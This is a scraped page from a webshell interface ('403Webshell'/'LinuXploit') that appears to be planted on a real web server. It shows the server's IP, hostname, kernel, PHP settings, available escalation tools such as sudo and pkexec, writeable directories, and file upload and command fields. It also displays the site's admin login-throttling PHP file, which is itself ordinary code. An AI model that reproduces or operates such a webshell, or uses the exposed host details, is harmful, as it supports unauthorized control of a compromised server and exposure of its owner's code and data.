403Webshell
Server IP : 210.245.233.93  /  Your IP : 216.73.216.226
Web Server : Apache/2.2.15 (CentOS)
System : Linux webserver2.onesolution.com.hk 2.6.32-754.35.1.el6.x86_64 #1 SMP Sat Nov 7 12:42:14 UTC 2020 x86_64
User : apache ( 48)
PHP Version : 5.3.3
Disable Function : exec, shell_exec, system, passthru, popen, proc_open, pcntl_exec
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/hkosl.com/e-ims/webadmin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/hkosl.com/e-ims/webadmin/function_login_block.php
<?php
header('X-UA-Compatible: IE=edge,chrome=1');
function insert_login_log($user_name, $is_success)
{
	$lb = new LoginBlock;
	$fail_count = $lb->get_fail_count();
	if ($is_success === false) {
		$fail_count++;
	}
	$max_fail_count = $lb->get_max_fail_count();
	$is_block = $fail_count >= $max_fail_count;

	$sql = "
		INSERT INTO sys_login_log (
			create_on, ip_address, user_name, is_success, is_block
		) VALUES (
			NOW(), :ip_address, :user_name, :is_success, :is_block		
		)";
				
	$sql_param = array(
		':ip_address' => $_SERVER['REMOTE_ADDR'],
		':user_name' => $user_name,
		':is_success' => $is_success === false ? '0' : '1',
		':is_block' => $is_block ? '1' : '0',
	);

	$sth = Db::getDbh()->prepare($sql);
	//echo $sth->getSQL( $sql_param ).HTML_EOL;
	$sth->execute( $sql_param );	
	if( $error = $sth->getError($sql_param) ){
		var_dump($error);
	}
		
	if($row = $sth->fetch()){
		$loggin = 1;
		return true;
	}		
}

function die_if_login_block()
{
	$lb = new LoginBlock;
	$lb->die_if_login_block();
}

class LoginBlock
{
	private $block_mins = 10;
	private $max_fail_count = 5;
	
	function get_max_fail_count()
	{
		return $this->max_fail_count;
	}
	
	function get_fail_count()
	{
		$block_mins = $this->block_mins;
		$max_fail_count = $this->max_fail_count;

		$sql = "SELECT *
			FROM sys_login_log
			WHERE ip_address = :ip_address AND create_on >= :create_on
			ORDER BY create_on DESC
			LIMIT $max_fail_count";
				
		$sql_param = array(
			':ip_address' => $_SERVER['REMOTE_ADDR'],
			':create_on' => date('Y-m-d H:i:s', time() - ($block_mins * 60)),// before $block_mins
		);

		$sth = Db::getDbh()->prepare($sql);
		//echo $sth->getSQL( $sql_param ).HTML_EOL; //exit;
		$sth->execute( $sql_param );	
		if( $error = $sth->getError($sql_param) ){
			var_dump($error);
		}
			
		$login_logs = $sth->fetchAll(PDO::FETCH_ASSOC);

		$fail_count = 0;
		foreach ($login_logs as $login_log) {
			if ($login_log['is_success'] == 1 || $login_log['is_block'] == 1) {
				break;
			} else {
				$fail_count++;
			}
		}
		return $fail_count;
	}

	function die_if_login_block()
	{
		$block_mins = $this->block_mins;
		$max_fail_count = $this->max_fail_count;

		$sql = "SELECT
			CASE
				WHEN EXISTS(
					SELECT * FROM sys_login_log
					WHERE ip_address = :ip_address 
						AND create_on >= :create_on 
						AND is_block = 1
				) THEN 1
				ELSE 0
			END AS is_block";
				
		$sql_param = array(
			':ip_address' => $_SERVER['REMOTE_ADDR'],
			':create_on' => date('Y-m-d H:i:s', time() - ($block_mins * 60)),// before $block_mins
		);

		$sth = Db::getDbh()->prepare($sql);
		//echo $sth->getSQL( $sql_param ).HTML_EOL; //exit;
		$sth->execute( $sql_param );	
		if( $error = $sth->getError($sql_param) ){
			var_dump($error);
		}
		
		$result = $sth->fetch(PDO::FETCH_ASSOC);
		
		$is_block = $result['is_block'] == 1;

		if ($is_block) {
			die("You login failure more than $max_fail_count times, please try again after $block_mins mins.");
		}
	}
}


Youez - 2016 - github.com/yon3zu
LinuXploit